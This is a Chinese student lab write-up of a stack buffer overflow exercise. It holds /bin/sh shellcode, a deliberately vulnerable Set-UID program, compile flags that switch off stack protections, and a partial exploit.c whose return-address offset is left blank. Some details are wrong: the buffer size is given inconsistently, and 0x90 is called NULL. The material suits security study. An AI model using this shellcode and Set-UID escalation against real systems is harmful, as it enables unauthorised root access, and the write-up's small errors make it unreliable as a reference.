20191317王鹏宇缓冲区溢出实验

#include <stdio.h>
int main( )
{
  char *name[2];
  name[0] = ‘‘/bin/sh’’;
  name[1] = NULL;
  execve(name[0], name, NULL);
}

本次实验的shellcode，就是刚才代码的汇编版本：
\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
除了shellcode以外，我们还需要编写一个漏洞程序：

/* stack.c */
int bof(char *str)
{
char buffer[12];
    strcpy(buffer, str);
    return 1;
}

int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;
    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);
    printf("Returned Properly\n");
    return 1;
}

从代码中可以看出程序从名为badfile的文件中读取输入，然后传到函数bof()中的另一个缓冲区，输入的最大长度为517字节，但是bof()缓冲区只有24字节，由于strcpy()不检查边界，所以可能会发生缓冲区溢出。在编译时，需要添加-fno-stack-protector和-z execstack选项以关闭StackGuard和不可执行的堆栈保护，编译之后我们需要使之成为root拥有的Set-UID程序才可以用普通用户获取root权限。
gcc -g -o stack -z execstack -fno-stack-protector stack.c
sudo chown root stack
sudo chmod 4755 stack

/* exploit.c  */
void main(int argc, char **argv)
{
    char buffer[517];
FILE *badfile;
//ox90 代表NULL
    memset(&buffer, 0x90, 517);
    strcpy(buffer+100,shellcode);//将shellcode拷贝至buffer
    strcpy(buffer+?,"");//在buffer特定偏移处起始的四个字节覆盖shellcode地址
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}